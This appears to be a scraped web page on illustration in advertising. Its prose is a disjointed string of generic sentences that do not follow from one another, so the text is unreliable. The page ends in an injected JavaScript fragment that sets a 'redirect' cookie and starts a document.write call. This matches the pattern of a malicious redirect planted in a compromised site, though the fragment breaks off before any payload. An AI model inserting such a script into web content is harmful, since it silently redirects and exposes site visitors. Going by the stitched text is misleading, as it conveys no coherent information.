what is illustration in advertising

Therefore, we urge you to remain with this discourse to discover more. The idea for a cartoon advertisement begins with the advertising agency. Another reason why illustration is must in advertising is its ease of customization. An advertisement campaign needs to draw the attention of the audience and make the product or service stand out from the crowd. Product illustration is a specialized field servicing advertising, industrial and commercial accounts with detailed views of existing or proposed products. That is why illustrations come in handy as ideal tools for educating consumers without making them feel like they “are in class.” With illustrations, consumer education takes place in a relaxed, informal, and comic manner that jells well with the consumer emotions. Advertising thrives on creativity, and Illustration as a visualization media, when brought into the creative problem solving process, can expand the range of conceptual solutions for advertising messages. Their delivery often takes the form of a classic film. //=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('